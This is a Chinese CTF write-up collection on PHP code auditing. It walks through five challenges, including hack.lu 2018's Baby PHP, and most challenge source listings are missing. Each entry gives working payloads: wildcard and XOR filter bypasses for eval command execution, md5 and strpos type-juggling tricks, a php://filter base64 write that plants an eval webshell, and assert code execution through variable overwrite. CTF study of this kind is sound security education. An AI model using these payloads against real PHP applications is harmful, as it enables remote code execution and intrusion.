php代码审计典型例题专题
eval(2020NSSC)
题目源码
1 |
|
代码分析
分析正则匹配发现字母a未过滤,特殊字符?未过滤;菊花一紧,想到铁铁的通配符绕过啊;
在当前目录下有flag.php
所以构造/bin/cat flag.php 即可读取文件内容
对于eval当中的拼接符号. 可以使用,绕过;并且利用反引号执行命令;
漏洞利用
payload:?a=',\
/???/?a?%20??a?????`,’`
eval_xor
题目源码
1 |
|
代码分析
get传入的cover变量值必须要与session值相等,这里可以使用session绕过,直接传入一个空的cover;
通过get传入code变量值,code变量字符串的长度不能超过35位;且字符串不能含有数字、字母、_、.、+等特殊字符;
最终code变量带入eval函数,这里首先传入函数getPos();
关于怎么绕过的字符串的过滤,这里可以使用特殊字符串的异或来实现,直接上异或脚本:
1 | chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'] |
这里传入的code=$\_="@%/}/-"^"'@[-@^";$\_();
但是_被过滤的,不怕,这里可用汉子代替,最终如下:
code=$淦="@%/}/-"^"'@[-@^";$淦();
运行之后得到flag在/fl4gnnn中;因为传入eval函数,可以直接构造执行命令/bin/cat /fl4gnnn
;
通过脚本对fl4gnnn异或后发现,无论怎么异或n的特殊字符中均有. 但是.是被过滤的,所以这边考虑使用shell通配符实现;
构造/???/???%20/??????? 执行命令可以使用反引号,但是需要echo ,通过短标签的知识了解 等价于=?>
所以最终形式为:?><?=/???/???%20/????????
>
漏洞利用
payload:?cover&code=?><?=
/???/???%20/????????>
bypass_strpos
题目源码
1 |
|
代码分析
首先通过GET传参接收一个md5的加密值;
抓包后在,在响应头信息中可以发现referer:$_GET['100fc9da60f9ae9d6488451decdc0742']’;
炸眼一看,确定是一串加密值,首先对这个进行get传参,发现没有,说明不是直接传入md5加密值。尝试对该md5值进行明文爆破,得到其明文为52384,get传入该值直接获取源码;
分析源码第一个判断是变量a的md5值与给定明文的md5值相等,并且要保证其值的最后一位为8;那么直接md5碰撞呗,找到其值为240610708;
第二个判断是参数b经过strpos函数,strpos函数是用户字符串查找的;这里可以直接用空数组绕过,即b[]=;
最后传入变量d经过eval函数,变量在var_dump函数中,直接传入$flag;
漏洞利用
payload:?a=240610708&b[]=&d=$flag
bypass_exit
题目源码
1 |
|
代码分析
首先将代码<?php exit(0);?>
赋值给变量$a;
通过POST方式接受变量c的内容拼接变变量$a中,这样不论如何,写入的shell都无法被正常利用;
这里使用base64-decode的方式对其进行绕过,因为base64在解码时,会对<、?、;、>
这些特殊字符进行忽略,那么原本的第一行代码就变成了phpexit;
漏洞利用
payload:c=PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+&file=php://filter/write=convert.base64-decode/resource=shell.php
成功写入shell:cmd=system(‘cat flag.php’);
Baby PHP(hacklu CTF 2018)
题目源码
1 |
|
代码分析
part 1
1 | @$msg = $_GET['msg']; |
1、通过get获取变量$msg内容,经过一个判断带入到函数file_get_contents()中,使得结果为”Hello Challenge!”。这里有两种绕过方式:
msg=data://plain/text,Hello Challenge!
msg=php://input post:Hello Challenge!
part 2
1 | @$k1=$_GET['key1']; |
2、通过get获取变量$k1,$k2。判断变量$k1的整数值与$cc不相等;并且$k1要恒等于$cc(恒等于就是变量类型也要一致)。这边我们可以知道$k1是通过key1获取得到,所以k1永远是字符串类型,所以$k1===$cc永远为false;所以只能使$k1=1337;
part 3
1 | if(strlen($k2) == $bb){ |
3、判断变量k2的长度是否等于$bb,也就是42位;第二个if通过正则判断变量$k2是否为纯数字加上$结尾,此处的符号和我们平时见过的$符号不一样,这个是unicode编码的$符号;条件!is_numeric($k2)默认是恒成立的;要使第三个if成立,则可以使k2中含有数字1337;为了满足长度为42位我们可以使用0进行填充占位;特殊字符$可以对其进行url编码得到%EF%BC%84
,该字符占三位长度;则最终k2=000000000000000000000000000000000001337%EF%BC%84
part 4
1 | list($k1,$k2) = [$k2, $k1]; |
4、首先对变量k1,k2进行列表位置调换;变量$cc重新通过get方式获取;传递数组进入函数substr()和sha1()中,两函数返回的结果都为null,使得条件成立。
part 5
1 | $b = "2";$a="b";//;1=b |
5、我们看第一行代码有些特殊,这行代码因为在字符串前插入了\u202e,那么后续的字符就会反转。放入编辑器后,就可以看出正确的代码格式为$b="2";$a="b";//1=b
。判断中$$a == $($a) == $b == 2 ;这里只要使得$k1=2即可。回到part4判断成立的循环中,foreach通过get获取参数的覆盖掉全局变量,那这个很好办了,直接传入k1=2即可pass。
part 6
1 | assert_options(ASSERT_BAIL, 1); |
6、assert可以调用函数,并且前面我们知道foreach可以全局变量覆盖,那么我们只要构造出assert(var_dump($flag);)即可;里面$bb=$cc,那么传入cc=var_dump($flag);//即可完成
漏洞利用
payload:192.168.1.191:32768/?msg=data://plain/text,Hello Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=var_dump($flag);//